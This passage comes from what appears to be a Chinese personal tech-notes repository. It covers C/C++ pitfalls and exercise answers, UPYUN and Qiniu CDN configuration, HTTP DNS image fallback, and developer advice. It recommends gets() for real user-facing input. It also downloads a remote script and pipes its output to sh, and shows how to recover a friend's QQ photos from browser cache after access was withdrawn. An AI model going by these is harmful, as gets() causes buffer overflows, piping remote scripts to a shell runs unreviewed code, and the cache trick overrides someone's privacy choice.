class_MXC_Price()\r\n```\r\n\r\n-----\r\n\r\n## terra地址转为以太坊地址\r\n\r\n依赖库：`pip3 install bech32`\r\n\r\n```\r\nimport bech32\r\nwords = bech32.bech32_decode(terra_addr)[1]\r\nethaddr = \"\".join([hex(i)[2:].rjust(2,\"0\") for i in bech32.convertbits(words,5,8,False)])\r\n```\r\n\r\n**反过来就是**\r\n\r\n```\r\nwords = [int(ethaddr[i:i+2], 16) for i in range(0,40,2)]\r\nterra_addr = bech32.bech32_encode(\"terra\", bech32.convertbits(words, 8, 5, False))\r\n```\r\n\r\n"
  },
  {
    "path": "C.md",
    "content": "# C语言\r\n\r\n一点关于C的建议咯，也包含C++\r\n\r\n顺带附上几个题目和我写的解答\r\n\r\n\r\n----\r\n\r\n## 关于Dev C++\r\n\r\n* 有时候会发生改了代码但运行起来是旧版本的情况，需要检查是否关闭了正在运行的exe，如果是工程需要按F12全部重新编译清空缓存\r\n\r\n* 编译工程错误定位在Makefile说明有函数声明了但没有定义，或者可能是出现了多个文件同名函数，小心其创建工程的时候自动产生的main.c\r\n\r\n* 如果单纯只需要编译一个C文件，为追求编译速度可以考虑使用tcc (Tiny C Compile)编译器，参见[https://qs1401.com/?post=18](https://qs1401.com/?post=18)；另外你可以修改编译的优化参数，不要用`-O3`这种更适合正式发布时的优化选项\r\n\r\n* 不要在一个项目中混用.c和.cpp，将导致`ld`链接的时候函数找不到。因为编译.cpp的时候是C++的编译，由于要支持重载，编译器会自动修改函数名称，导致代码中同样名字的函数编译出来的.o文件里面函数名称是不同的，这样.c找不到.cpp的函数，自然无法链接；不过还是有技巧的：extern \"C\"包住即可\r\n\r\n* 注意指针的星号别少写：想一次写两个指针？不能写`FILE* fp1,fp2;`而是每个变量前面都要带上星号！正确写法：`FILE *fp1,*fp2; char *s1,*s2;`\r\n\r\n----\r\n\r\n## 输入的问题\r\n\r\n在开发真实用户会使用的命令行程序时，我建议所有的输入全部使用gets完成，然后再用sscanf读取到变量，可以有效防止scanf在一行出错波及到下一行\r\n\r\n当然更安全的是 `fgets(buf,9999,stdin);` 指定最多读取多少个字节避免栈溢出，但这种方法会得到\\n字符\r\n\r\n另外，无论是scanf还是sscanf，赋值给int/double等类型的变量一定要写&符号！\r\n\r\n以下代码演示这种输入方法，对输入的n个数调用qsort排序；输入格式：第一行 N表示数的个数，第二行 N个需要排序的数(N<1000)\r\n\r\n```cpp\r\n#include <stdio.h>\r\n#include <stdlib.h>\r\nchar buf[9999];\r\nint data[1005]; //不要在局部变量定义大数组，会炸栈\r\nint cmp(const void* a,const void* b){\r\n    return *(int*)a-*(int*)b;\r\n}\r\nint main(){\r\n    int N,i;\r\n    gets(buf);\r\n    sscanf(buf,\"%d\",&N);\r\n    gets(buf);\r\n    for(i=0;i<N;i++) {\r\n        sscanf(buf,\"%d %[^\\n]\",&data[i],buf);\r\n    }\r\n    qsort(data,N,sizeof(int),cmp);\r\n    for(i=0;i<N-1;i++) printf(\"%d \",data[i]);\r\n    printf(\"%d\",data[i]);\r\n}\r\n```\r\n\r\n----\r\n\r\n## C++用sstream代替sprintf\r\n\r\n```cpp\r\n#include <string>\r\n#include <sstream>\r\n#include <iostream> \r\nusing namespace std;\r\nint main(){\r\n    stringstream s;\r\n    string result;\r\n    int i = 1000;\r\n    s <<\"haha \"<< i; \r\n    getline(s,result); // the whole line rather than just the first word\r\n    cout << result << endl; // print \"haha1000\"\r\n    s.clear();\r\n} \r\n```\r\n\r\n----\r\n\r\n## 解决g++省略拷贝构造函数的问题\r\n\r\ng++为了防止在函数返回值是对象的时候，拷贝构造被调用多次，即使拷贝构造函数有副作用，也会被优化掉（直接就不调用拷贝构造函数了）\r\n\r\n为了解决这个问题，从而证明教材上的正确性/语言的特性，需要在编译（不是链接）的时候加入以下开关：\r\n\r\n```\r\n-fno-elide-constructors\r\n```\r\n\r\n----\r\n\r\n## [数据结构]树的遍历\r\n\r\n允许不确定个元素的子节点个数，要求给出所有从根节点开始到叶节点的路径\r\n\r\n我是这么写的遍历循环（伪代码），其中p1和p2是指向节点的指针：\r\n\r\n```\r\n路径=[根节点]\r\nwhile(循环条件):\r\n    while (p2=p1的下一个没有遍历过的子节点)不为空:\r\n        把p2加入路径\r\n        p1=p2\r\n    if p1为叶节点:\r\n        得到了一条从根节点到一个叶节点的路径\r\n    路径pop，换言之，删掉最后加入的节点\r\n    p1=p1的父节点（就是回溯）\r\n```\r\n\r\n其中关键的**p1的下一个没有遍历过的子节点**的实现是这样子的：\r\n\r\n```\r\nif 当前孩子的下标>=孩子总数:\r\n    return NULL\r\nelse return 子节点数组[当前下标++]\r\n```\r\n\r\n卖个关子。。。请思考一下循环条件应该写啥？\r\n\r\n### 遍历的循环条件\r\n\r\n一开始我写的是：“根节点还有未遍历过的子节点”，但是这么写在这里就出了问题，由于标记已经遍历的子节点发生在真正遍历完子节点之前（我用的return 数组[下标++]），在循环根节点的最后一个子节点的时候会提前结束循环，导致没能遍历所有节点！\r\n\r\n正确的写法是：**路径的元素个数>=1**\r\n\r\n路径可以用vector实现，元素个数就是vector的size()，只有遍历完成了整个树之后，根节点才会被pop出来，结束循环。\r\n\r\n### 使用面向对象的思想\r\n\r\n这个题目我使用了C++来写，果然比C好多了。。。只要想好接口就能很方便地实现需要的功能啦（不过还是Python内置的list好多了，C++的vector各种const的坑\r\n\r\n这里分享一下我设计的接口：\r\n\r\n```\r\nclass Node{\r\n    public:\r\n        Node();\r\n        void setChildNum(int num); //为子节点的指针的数组分配空间\r\n        void addOneChild(Node* child);\r\n        void setData(int data);\r\n        int getData();\r\n        void setParent(Node* parent);\r\n        Node* getParent();\r\n        Node* getCurrentChild(); //获得当前还没走过的子节点，并且把返回的子节点标记为走过了\r\n        bool hasChildToGo(); //这个节点是不是所有的子节点都完成了\r\n        bool isLeafNode(); //这个节点是不是叶节点\r\n    private:\r\n        //...省略咯...\r\n};\r\nclass Nodes{ //存储路径的Nodes\r\n    public:\r\n        void append(Node* x); //把节点加入路径\r\n        void pop(); //删掉最后加入的那个节点\r\n        int getSumData(); //路径上所有节点的data的和\r\n        int length(); //路径当前的长度\r\n        friend bool cmp(const Nodes& a,const Nodes&b); //用于对路径进行排序\r\n        friend ostream& operator<<(ostream& out,Nodes& x); \r\n    private:\r\n        vector<Node*> data;\r\n};\r\n```\r\n\r\n## 对一个const的vector使用迭代器要用const_iterator\r\n\r\n有时候函数参数就规定了必须是const的，如sort的比较函数，而比较的对象又是vector\r\n\r\n方法就是用`vector<你的类型>::const_iterator`\r\n\r\n----\r\n\r\n### 小心未初始化的变量\r\n\r\n写代码的时候最好声明的时候就立刻初始化，未初始化的变量是未定义行为，可能出现加了个printf就好了，去掉printf就炸了的情况。\r\n\r\n你可以在Linux上使用`gcc -fsanitize=undefined`编译，让Undefined Sanitizer为你找出错误；顺带一提，ASAN也很有用，[参见](https://www.freebuf.com/news/83811.html)\r\n\r\n----\r\n\r\n## 获取文件大小\r\n\r\nPython里很简单 你可以os.path.getsize(filename) 这个本质上调用的是os.stat；下面的方法是打开文件，用fseek跳转到文件结束\r\n\r\nLearned from: http://blog.csdn.net/chenglibin1988/article/details/8750480\r\n\r\n```\r\nlong int get_file_size(char* filename){\r\n    /*\r\n     * 使用fseek和ftell获取文件大小，失败时返回-1 \r\n     */\r\n    int filesize;\r\n    FILE* fp = fopen(filename,\"rb\");\r\n    if( NULL == fp ) return -1;\r\n    fseek(fp,0,SEEK_END);\r\n    filesize = ftell(fp);\r\n    fclose(fp);\r\n    return filesize;\r\n}\r\n```\r\n\r\n\r\n----\r\n\r\n## C程习题解答\r\n\r\n学习一下各种坑爹的题目也是很不错的嘛（其实我就是为了把我的解析发上来。。。\r\n\r\n### 1.结构指针\r\n\r\n#### 题目\r\n\r\n```\r\n对于以下结构定义，p->str++中的++加在____。\r\nstruct {int len; char *str}*p;\r\nA.指针str上     B.指针p上    C.str指向的内容上   D.语法错误\r\n```\r\n\r\n#### 答案\r\n\r\nD\r\n\r\n#### 一句话解释\r\n\r\n你再仔细看看？是不是少了个分号？\r\n\r\n#### 详细解释\r\n\r\n这个题目这么写编译存在语法问题的，而且运行也会炸\r\n\r\n你试试复制到Dev C++编译看看？\r\n\r\n```\r\n[Error] expected ';' at end of member declaration\r\n```\r\n\r\n这个错误很显然的嘛，缺少了分号，正确写法：\r\n\r\n```\r\nstruct {int len; char *str;} *p;\r\n```\r\n\r\n#### 这就够了吗？\r\n\r\np是一个指针，对指针使用->运算符之前必须要给指针一个空间(正确的值)，否则就会导致*null而段错误炸掉\r\n\r\n另外 这个struct没有名字，也就意味着无法给他赋值，不能被赋值的指针有什么用呢？\r\n\r\n正确的写法如下：\r\n\r\n```\r\n#include <stdio.h>\r\n#include <stdlib.h>\r\n#include <string.h>\r\nint main(){\r\n    char string[666]=\"abcd\"; //准备一个字符串\r\n    struct name {int len; char *str;} s;//首先要给struct取一个名字name，顺带用这个名字创建一个实例s\r\n    s.str = string; //对这个实例的str赋值为string的地址\r\n    struct name *p = &s; //然后是用struct name来创建一个指向结构的指针p\r\n    p->str++;//相当于s的str++了，str原来指向\"abcd\"字符串的'a'，现在指向'b'\r\n    puts(p->str);//输出bcd\r\n}\r\n```\r\n\r\n#### 回顾一下\r\n\r\n1. struct必须要有一个名字\r\n\r\n2. struct大括号中的每一项都必须**以分号结尾**\r\n\r\n3. 使用指针取值 如`*p` , `p->something`之前指针的值必须设置好\r\n\r\n4. 遇到不会的题目，为啥不自己问问编译器呢？\r\n\r\n----\r\n\r\n### 2.结构数组\r\n\r\n#### 题目\r\n\r\n```\r\n对于以下的变量定义，表达式____是正确的。\r\nstruct node {\r\n    char s[10];\r\n    int k;\r\n} p[4];\r\nA. p->k=2\r\nB. p[0].s=\"abc\";\r\nC. p[0]->k=2;\r\nD. p->s='a';\r\n```\r\n\r\n#### 答案\r\n\r\nA\r\n\r\n#### 解析\r\n\r\n`p[0].num` 与 `(*(p+0)).num` 等价, 所以 `p[0].num` 与 `(p+0)->num` 等价\r\n\r\n编译一下确实A是可以的\r\n\r\nB选项错在结构体里面的s是一个有内存空间的char数组，**不能把有内存空间的数组名称放到赋值的等号左边** (编译器把数组名称当成常量，编译器这么设计的原因也许是：不然这个内存空间不就弄丢了嘛)\r\n\r\n字符串正确的\"赋值\"操作是： \r\n\r\n```\r\nstrcpy(p[0].s,\"abc\");\r\n```\r\n\r\nC选项 p[0]是结构，而不是指针，直接写`p[0].k=2`\r\n\r\n\r\nD选项 还是相同的道理 **不能把有内存空间的数组名称放到赋值的等号左边**\r\n\r\n正确的写法 `p->s[0]='a'`, 也可以写 `p[0].s[0]='a'`\r\n\r\n\r\n#### 指针，数组各种玩法\r\n\r\n如果要写`p[1].s[2]='a'`, 等价的写法有：\r\n\r\n```\r\n(p+1)->s[2]='a';\r\n*((p+1)->s + 2)='a';\r\n*((char*)p+1*sizeof(struct node)+2)='a';\r\n```\r\n\r\n此代码供你测试：\r\n\r\n```\r\n#include <stdio.h>\r\nint main(){\r\n    struct node{\r\n        char s[10];\r\n        int k;\r\n    } p[4];\r\n    p[1].s[2]='a';\r\n    printf(\"%c\\n\",p[1].s[2]);\r\n    (p+1)->s[2]='b';\r\n    printf(\"%c\\n\",p[1].s[2]);\r\n    *((p+1)->s + 2)='c';\r\n    printf(\"%c\\n\",p[1].s[2]);\r\n    *((char*)p+1*sizeof(struct node)+2)='d';\r\n    printf(\"%c\",p[1].s[2]);\r\n    return 0;\r\n}\r\n```\r\n\r\n### 数组的数组\r\n\r\n题目：\r\n\r\n```\r\n 以下程序的输出结果是_________________。\r\n\t#include <stdio.h>\r\n\t#include <string.h>\r\n\ttypedef char (*AP)[5];\r\n\tAP defy(char *p)\r\n\t{\r\n\t   int i;\r\n\t   for(i=0; i<3; i++)\r\n\t      p[strlen(p)] = 'A';\r\n\t   return (AP)p + 1;\r\n\t}\r\n\tvoid main()\r\n\t{\r\n\t   char a[]=\"FROG\\0SEAL\\0LION\\0LAMB\";\r\n\t   puts( defy(a)[1]+2 );\r\n\t}\r\n```\r\n\r\n解答：\r\n\r\n搞清楚指针的类型这个题目就很简单了，另外记住这个公式：\r\n\r\n```\r\nx[i] = *(x+i)\r\n```\r\n\r\np[strlen(p)] = 'A'; 就是把\\0的地方改成了字符A\r\n\r\n所以我们的a是这样子的：\r\n\r\n从一维数组来看a是 FROGASEALALIONALAMB\r\n\r\n从5字节char的数组的数组来看是 \r\n\r\n```\r\n    \"FROGA\", //虽然这里写的是字符串，但末尾没有\\0\r\n    \"SEALA\",\r\n    \"LIONA\",\r\n    \"LAMB\\0\"\r\n```\r\n\r\ndefy(a)[1]就等价于`*(defy(a) +1)`，就是`*( ((AP)a)+1 +1)`，就是((AP)a)[2]\r\n\r\nAP这个类型是指针，指向的元素是 5字节大小的数组，\r\n\r\n所以((AP)a)[2]的类型是`char*`，指向的是\"LIONA\"这个元素\r\n\r\n但是当我们把这个元素当成`char*`用puts输出的时候，由于末尾没有`\\0`，所以要继续输出，就是\"LIONALAMB\"\r\n\r\n再+2就是要跳过两个字节，得到答案\"ONALAMB\"\r\n\r\n举一反三：\r\n\r\n1. puts(((AP)a)[0])输出啥？假设没有调用defy(a)\r\n2. puts(((AP)a)[0])输出啥？假设已经做了defy(a)\r\n3. puts(((AP)a)[0]+3)输出啥？假设已经做了defy(a)\r\n4. defy(a)[2][1]+1是什么类型？值是多少？\r\n5. puts(&defy(a)[2][1])输出啥？\r\n6. defy(a)之后再puts(&defy(a)[2][1])输出啥？\r\n\r\n答案：\r\n\r\n1. FROG\r\n2. FROGASEALALIONALAMB\r\n3. GASEALALIONALAMB\r\n4. char类型 'B' 这个是char的'A'再加一\r\n5. AMB\r\n6. 发生了数组越界读写，这是undefined behaviour\r\n\r\n"
  },
  {
    "path": "CDN.md",
    "content": "# CDN\r\n\r\n## UPYUN\r\n\r\n### 上传文件的方法\r\n\r\n#### FTP\r\n\r\n人家支持用ftp传输文件，而且用ftp似乎不对流量计费\r\n\r\nftp://v0.ftp.upyun.com \r\n\r\n用户名是\"操作员名/服务名\"（其中/字符是用户名的一部分）,密码为\"操作员密码\"\r\n\r\n有些时候你需要对其中的/进行urlencode，需要用`%2F` （你可以使用Python的`quote(\"/\", \"\")`来查询）\r\n\r\n#### curlftpfs\r\n\r\n基于上述的ftp，在这种情境下可靠性不高，不建议使用\r\n\r\nhttp://curlftpfs.sourceforge.net/\r\n\r\n注意命令中的 ftp://用户名:密码@v0.ftp.upyun.com 其中的用户名的/符号需要改为%2f\r\n\r\n#### UpyunManager\r\n\r\nhttps://github.com/layerssss/manager-for-upyun\r\n\r\n### UPYUN Python执行缓存刷新\r\n\r\n比如本blog设置了缓存所有html一年来减少回源github的次数，在每次我更新后就刷新一次缓存\r\n\r\n规则刷新：\r\n\r\n[https://github.com/zjuchenyuan/EasyLogin/tree/master/examples/upyun](https://github.com/zjuchenyuan/EasyLogin/tree/master/examples/upyun)\r\n\r\nURL刷新也是同理：\r\n\r\n官方文档：http://docs.upyun.com/api/purge/\r\n\r\n[我的代码upyun_purge.py](code/upyun_purge.py)\r\n\r\n注意操作员要被授权；调用API正常的返回值就是`{'invalid_domain_of_url': {}}`，不要看到invalid就以为出错了hhh\r\n\r\n### 使用upyun提供的webp功能节省流量\r\n\r\n现在已经有配置，启用后自动根据用户的浏览器Accept自动返回webp，无需任何操作\r\n\r\n之前的方案：无需代码，只需要在原图后面加上`!/format/webp`即可，假设已经在使用自定义图片格式，例如`!compress`则变为`!compress/format/webp`可以进一步节省流量\r\n\r\n官方说明： https://www.upyun.com/webp.html\r\n\r\n### 使用边缘规则修复改版导致的404问题\r\n\r\n本站原版使用的Jekyll将xxx.md编译为xxx.html，现在改用MkDocs后xxx.md编译得到的是xxx/index.html，原先的链接就404了\r\n\r\n又拍云能配置边缘规则 进行URL改写，用户在访问xxx.html的时候实际回源xxx/\r\n\r\n而且配置挺简单，只要会写正则即可\r\n\r\n配置规则如下：\r\n\r\n```\r\n条件判断： 如果请求URI 正则匹配 ^/[^/]*html$\r\n功能选择： URL改写\r\n    URI 字符串提取： ^/([^/]*).html$\r\n    改写规则：/$1/\r\nbreak: 打勾\r\n```\r\n\r\n### UPYUN 使用边缘规则实现upyun TOKEN反盗链功能\r\n\r\n想只对特定url使用token反盗链，于是就使用边缘规则来实现一下完全兼容反盗链的算法咯\r\n\r\n发现一个坑：又拍云的边缘规则的`$SUB`函数 其from和to是从1开始计数的，包括from，也包括to\r\n\r\nURI 字符串提取不填，break不选，规则编辑器填以下内容\r\n\r\n```\r\n$WHEN($MATCH($_URI, '这里填URI匹配正则'),$OR($GT($_TIME, $SUB($_GET__upt, 9,99)),$NOT($_GET__upt), $NOT($EQ($SUB($MD5('这里填TOKEN''&'$SUB($_GET__upt, 9,99)'&'$_URI),13,20),$SUB($_GET__upt, 1,8)))))$EXIT(403)\r\n```\r\n\r\n### UPYUN https证书更新\r\n\r\n使用F12开发人员工具看的接口，用Python实现了一下，从手动一个个添加证书中解放出来\r\n\r\nhttps://github.com/zjuchenyuan/EasyLogin/tree/master/examples/upyun/\r\n\r\n----\r\n\r\n### UPYUN 表单上传怎么用\r\n\r\n在功能配置-存储管理页面可以看到文件密钥，[官方帮助文档](https://help.upyun.com/knowledge-base/form_api/#old-authorization)过于分散，这里整理一下必须的步骤\r\n\r\n需求：简单的允许上传一个固定文件名的文件，不要过期\r\n\r\n首先写一个上传策略policy，然后对它base64，和密钥用&拼接后计算md5\r\n\r\n这个脚本将输出变量定义和curl命令，便于复制使用\r\n\r\n```bash\r\nkey='AAA...AAA'\r\nbucket='demobucket'\r\nfilename='img.jpg'\r\n\r\nfilepath=\"/${filename}\"\r\npolicy='{\"bucket\":\"'${bucket}'\",\"expiration\":9999999999,\"save-key\":\"'${filepath}'\"}'\r\nb64_policy=`echo -n $policy|base64 -w0`\r\n\r\necho UPYUN_POLICY=${b64_policy}\r\necho UPYUN_SIGN=$(echo -n \"${b64_policy}&${key}\"|md5sum|awk '{print $1}')\r\necho \"curl https://v0.api.upyun.com/${bucket} -F file=@${filename} -F policy=\\${UPYUN_POLICY} -F signature=\\${UPYUN_SIGN}\"\r\n```\r\n\r\n我也提供了一个脚本便于你快速调用：\r\n\r\n```\r\ncurl -O d.py3.io/up.sh\r\nsh up.sh key bucket filename\r\n\r\n# 触发上传只要继续丢给sh就行\r\nsh up.sh key bucket filename|sh\r\n```\r\n\r\n-------\r\n\r\n### UPYUN省钱方案：缓存61秒 变为静态请求 \r\n\r\n虽然人家 [计费说明](https://www.upyun.com/price_instruction) 写的是\r\n\r\n> 动态请求是指回用户源站并且缓存时间小于 60 秒或者指定不缓存的请求。\r\n\r\n但从实际的访问日志来看，缓存60秒是不够的，必须缓存61秒才当成静态请求\r\n\r\n需要进行的代码变动: 子域名+直接解析到源站+跨域请求+一个获取cookie的路由\r\n\r\n注意到我们把网页本身都缓存了，所以 **网页源代码本身不能有用户相关的内容**\r\n\r\n用户登录状态可以存在cookie里 指定domain的方式让子域名也能获取\r\n\r\n缓存61秒，一般用户还是能触发MISS，产生一次回源设置好cookie\r\n\r\n但如果用户访问的全部是缓存页面，前端代码需要先判断cookie是否存在，不存在就需要发起getsession请求来获取cookie再进行跨域请求\r\n\r\n这种跨域需要带上Cookie所以是withCredential的\r\n\r\n前端js:\r\n\r\n```\r\nfunction queryme(){\r\n    $.ajax({\r\n        url:\"https://subdomain.www.example.com/uri\",\r\n        success:function(data){\r\n            //...\r\n        },\r\n        xhrFields:{withCredentials:true}\r\n    })\r\n}\r\n(function(){\r\n    if(document.cookie.indexOf(\"user=\")>=0){\r\n        queryme();\r\n    }else{\r\n        $.get(\"/getsession\",null,queryme);\r\n    }\r\n})();\r\n```\r\n\r\n后端Nginx:\r\n\r\n```\r\nadd_header 'Access-Control-Allow-Origin' 'https://www.example.com';\r\nadd_header 'Access-Control-Allow-Credentials' 'true';\r\n```\r\n\r\n## Qiniu\r\n\r\n### 使用qshell上传文件夹\r\n\r\n    qshell qupload [<ThreadCount>] <LocalUploadConfig>\r\n\r\n需要写一个config文件，具体参见官方文档\r\n\r\n[https://developer.qiniu.com/kodo/tools/1302/qshell](https://developer.qiniu.com/kodo/tools/1302/qshell)\r\n\r\n[https://github.com/qiniu/qshell/wiki/qupload](https://github.com/qiniu/qshell/wiki/qupload)\r\n\r\n## 本地DNS不靠谱？用HTTP DNS访问正确的CDN节点\r\n\r\n情形：用户的DNS不靠谱，不遵循CDN DNS的TTL设置，导致用户得到的节点IP已经过期失效，导致网站上的图片无法加载\r\n\r\n解决方案：使用[阿里云的HTTP DNS](https://help.aliyun.com/document_detail/30102.html) (支持HTTPS请求)，网页端访问图片时如果出错替换为**指定IP的CDN节点**\r\n\r\n### HTTP DNS接入\r\n\r\n按照文档操作即可： https://help.aliyun.com/document_detail/30113.html\r\n\r\n注意到目前`https://203.107.1.33`会证书错误，改用`https://203.107.1.1`即可\r\n\r\n这个接口支持跨域请求：\r\n\r\n```\r\n$.get(\"https://203.107.1.1/100000/d?host=www.aliyun.com\",null,function(data){\r\n    var ip = data.ips[0];\r\n    console.log(ip);\r\n});\r\n```\r\n\r\n### 泛域名解析\r\n\r\n参考 [sslip.io](https://sslip.io)\r\n\r\n假设我们有已经备案的域名`example.com`，使用`xip.example.com`作为泛域名解析的域名，也就是说`140-205-34-3.xip.example.com`就会解析到`140.205.34.3`\r\n\r\n只需要设置4条NS记录即可：\r\n\r\n```\r\nns-aws.nono.io\r\nns-gce.nono.io\r\nns-azure.nono.io\r\nns-vultr.nono.io\r\n```\r\n\r\n### 申请泛域名的https证书\r\n\r\n参见： https://py3.io/Nginx/#acmesh\r\n\r\n### 配置CDN\r\n\r\n将泛域名绑定到CDN服务上，并提供申请到的HTTPS证书，开启HTTPS访问\r\n\r\n### 前端JS\r\n\r\n下述代码出错时将把图片src的`www.aliyun.com`替换为`1-2-3-4.xip.example.com`，特点：\r\n\r\n- 只要一张CDN的图片已经出错就会开始替换所有坏图\r\n- 不会替换已经成功加载的图片\r\n- 使用localStorage缓存HTTP DNS的查询结果 缓存一周\r\n- 存储了DNS的TTL结果，如果TTL已经过期就再次查询（所以上面缓存一周其实没用，TTL一般就10分钟）\r\n\r\n参考： \r\n\r\n- https://stackoverflow.com/questions/736513/how-do-i-parse-a-url-into-hostname-and-path-in-javascript\r\n- https://stackoverflow.com/questions/92720/jquery-javascript-to-replace-broken-images\r\n\r\n依赖lscache: https://github.com/pamelafox/lscache\r\n\r\n```\r\nvar cdnupdating = false;\r\n\r\nfunction updatecdn(cb){\r\n    if(cdnupdating) return;\r\n    cdnupdating = true;\r\n    $.get(\"https://203.107.1.1/100000/d?host=www.aliyun.com\",null,function(data){\r\n        var ip = data.ips[0];\r\n        var domain = ip.replace(/\\./g, \"-\")+\".xip.example.com\";\r\n        var ddl=new Date()/1000 + data.ttl;\r\n        var cdn = {domain:domain, ddl:ddl};\r\n        lscache.set('cdn', cdn, 604800);\r\n        if(cb) cb(cdn);\r\n    });\r\n}\r\n\r\nfunction fixbrokenimages(cdn){\r\n  if(!cdn) cdn=lscache.get(\"cdn\");\r\n  if(!cdn || cdn.ddl < +new Date()/1000) return updatecdn(fixbrokenimages);\r\n  $('img[src*=\"www.aliyun.com\"]').each(function() {\r\n    if (!this.complete || typeof this.naturalWidth == \"undefined\" || this.naturalWidth == 0) {\r\n      this.src = this.src.replace(\"www.aliyun.com\", cdn.domain);\r\n    }\r\n  });\r\n}\r\nvar fixbrokenimages_timer = null;\r\nfunction image_onerror(){\r\n    //console.log(\"image_onerror\",this.src);\r\n    if(/.*www.aliyun.com.*/.test(this.src)){\r\n        fixbrokenimages();\r\n    }\r\n    if(!fixbrokenimages_timer){\r\n        fixbrokenimages_timer = setInterval(fixbrokenimages , 1000);\r\n    }\r\n}\r\n\r\n$('img[src*=\"www.aliyun.com\"]').on('error', image_onerror);\r\n```\r\n"
  },
  {
    "path": "CNAME",
    "content": "py3.io\nnote.py3.io\n"
  },
  {
    "path": "Developer.md",
    "content": "## 保持技术精进\r\n\r\n先得有方向，我用这个技术能给我带来什么回报？找到内在动力\r\n\r\n1. 读书，学习视频课程\r\n\r\n2. 去阅读源码，大的开源项目有新的技术、巧妙的设计、优良的架构，对自己写代码、架构的能力都有非常大的提升\r\n\r\n3. 在项目中使用自己想用的技术，解决现实问题\r\n\r\n4. 加入开源项目，和牛人一起工作，向牛人看齐\r\n\r\n5. 加入高手的社群，与优秀的人在一起\r\n\r\n----\r\n\r\n## 如何明智地向程序员提问\r\n\r\nFrom: https://z.codes/how-to-ask-computer-question/\r\n\r\n### 简短版\r\n\r\n我现在遇到一个问题X\r\n\r\n我想到可能的原因是a, b, c\r\n\r\n我排除了以下可能性d, e, f\r\n\r\n我尝试过以下方案g, h, i\r\n\r\n请问还有什么是我遗漏的?\r\n\r\n### 首先你需要明白\r\n\r\n* 程序员们只偏爱艰巨的任务，或者能激发他们思维的好问题\r\n\r\n* 对方没有义务忍耐你的无知和懒惰\r\n\r\n* 周全的思考，准备好你的问题，草率的发问只能得到草率的回答，或者根本得不到任何答案\r\n\r\n### 提问之前\r\n\r\n* 用中**英文**进行**Google**, 翻前两页的结果, 往往Stack Overflow网站上的答案就是正确答案. 如果没有找到, **更换可能的关键词多次尝试**\r\n\r\n* 在FAQ/文档里找答案, 耐心读英文文档是基本素养\r\n\r\n### 发问的形式\r\n\r\n<ul>\r\n<li><p>使用言简意赅，描述准确的标题</p>\r\n</li>\r\n<li><p>精确描述, 信息量大, 但是不啰嗦</p>\r\n<ul>\r\n<li><p>尽可能详细而明确的描述症状</p>\r\n</li>\r\n<li><p>提供问题发生的环境（机器配置、操作系统、应用程序以及别的什么）</p>\r\n</li>\r\n<li><p>说明你在提问前是怎样去研究和理解这个问题的</p>\r\n</li>\r\n<li><p>说明你在提问前采取了什么步骤去解决它</p>\r\n</li>\r\n<li><p>在自己的尝试中, 排除了哪些可能的原因</p>\r\n</li>\r\n<li><p>罗列最近做过什么可能有影响的硬件、软件变更</p>\r\n</li>\r\n<li><p>尽量想象一个程序员会怎样反问你，在提问的时候预先给他答案</p>\r\n</li>\r\n</ul>\r\n</li>\r\n<li><p>对每一个关键步骤截图, 如果有错误信息, **截图和文字版**连同产生问题的**代码**都要发给对方</p>\r\n</li>\r\n<li><p>给出自己出问题的代码, 必须是对方复制后就能立即运行, 并且复现问题的最简代码.  删去与问题无关的部分</p>\r\n</li>\r\n<li><p>别问应该自己解决的问题, 避免无意义的疑问</p>\r\n</li>\r\n</ul>\r\n\r\n### 问题解决后\r\n\r\n* 简短说明自己是如何解决的, 后续尝试的过程\r\n\r\n* 如果别人对你有帮助, 感谢一下对方, 比如发个红包什么的\r\n\r\n### 附加\r\n\r\n![](assets/img/how_to_ask_question.jpg)\r\n\r\n### 参考\r\n\r\n电脑出现故障，如何正确地提问 [https://vjudge1.github.io/2015/07/01/how-to-ask.html](https://vjudge1.github.io/2015/07/01/how-to-ask.html)\r\n\r\n你会问问题吗 [http://coolshell.cn/articles/3713.html](http://coolshell.cn/articles/3713.html)\r\n\r\n《提问的艺术：如何快速获得答案》（精读版） [http://bbs.csdn.net/topics/390307835](http://bbs.csdn.net/topics/390307835)\r\n\r\n### 本文的图片版\r\n\r\n(方便在聊天工具里甩给对方):\r\n\r\n![如何明智地向程序员提问](assets/img/how-to-ask-computer-question.png)\r\n\r\n----\r\n\r\n## 使用chrome缓存找到被删的qq空间的图片\r\n\r\n看到有好友秀恩爱，然后就没有权限访问了，但打开过的图片有chrome缓存，于是便尝试从缓存找到图片url\r\n\r\nchrome的缓存可以在这里找到：\r\n\r\n```\r\nchrome://cache/\r\n```\r\n\r\n然后随意点开一张qq空间的图片，发现其包含psb（毕竟右键保存的文件名默认就是psb），然后就是搜索咯\r\n\r\n在点进去的缓存页面可以F12执行js，查看缓存图片：\r\n\r\n代码来源：http://www.sensefulsolutions.com/2012/01/viewing-chrome-cache-easy-way.html\r\n\r\n```\r\n    (function() {\r\n    var preTags = document.getElementsByTagName('pre');\r\n    var preWithHeaderInfo = preTags[0];\r\n    var preWithContent = preTags[2];\r\n\r\n    var lines = preWithContent.textContent.split('\\n');\r\n \r\n    // get data about the formatting (changes between different versions of chrome)\r\n    var rgx = /^(0{8}:\\s+)([0-9a-f]{2}\\s+)[0-9a-f]{2}/m;\r\n    var match = rgx.exec(lines[0]);\r\n \r\n    var text = '';\r\n    for (var i = 0; i < lines.length; i++) {\r\n        var line = lines[i];\r\n        var firstIndex = match[1].length; // first index of the chars to match (e.g. where a '84' would start)\r\n        var indexJump = match[2].length; // how much space is between each set of numbers\r\n        var totalCharsPerLine = 16;\r\n        index = firstIndex;\r\n        for (var j = 0; j < totalCharsPerLine; j++) {\r\n            var hexValAsStr = line.substr(index, 2);\r\n            if (hexValAsStr == '  ') {\r\n                // no more chars\r\n                break;\r\n            }\r\n\r\n            var asciiVal = parseInt(hexValAsStr, 16);\r\n            text += String.fromCharCode(asciiVal);\r\n\r\n            index += indexJump;\r\n        }\r\n    }\r\n\r\n    var headerText = preWithHeaderInfo.textContent;\r\n    var elToInsertBefore = document.body.childNodes[0];\r\n    var insertedDiv = document.createElement(\"div\");\r\n    document.body.insertBefore(insertedDiv, elToInsertBefore);\r\n\r\n    // find the filename\r\n    var nodes = [document.body];\r\n    var filepath = '';\r\n    while (true) {\r\n        var node = nodes.pop();\r\n        if (node.hasChildNodes()) {\r\n            var children = node.childNodes;\r\n            for (var i = children.length - 1; i >= 0; i--) {\r\n                nodes.push(children[i]);\r\n            }\r\n        }\r\n\r\n        if (node.nodeType === Node.TEXT_NODE && /\\S/.test(node.nodeValue)) {\r\n            // 1st depth-first text node (with non-whitespace chars) found\r\n            filepath = node.nodeValue;\r\n            break;\r\n        }\r\n    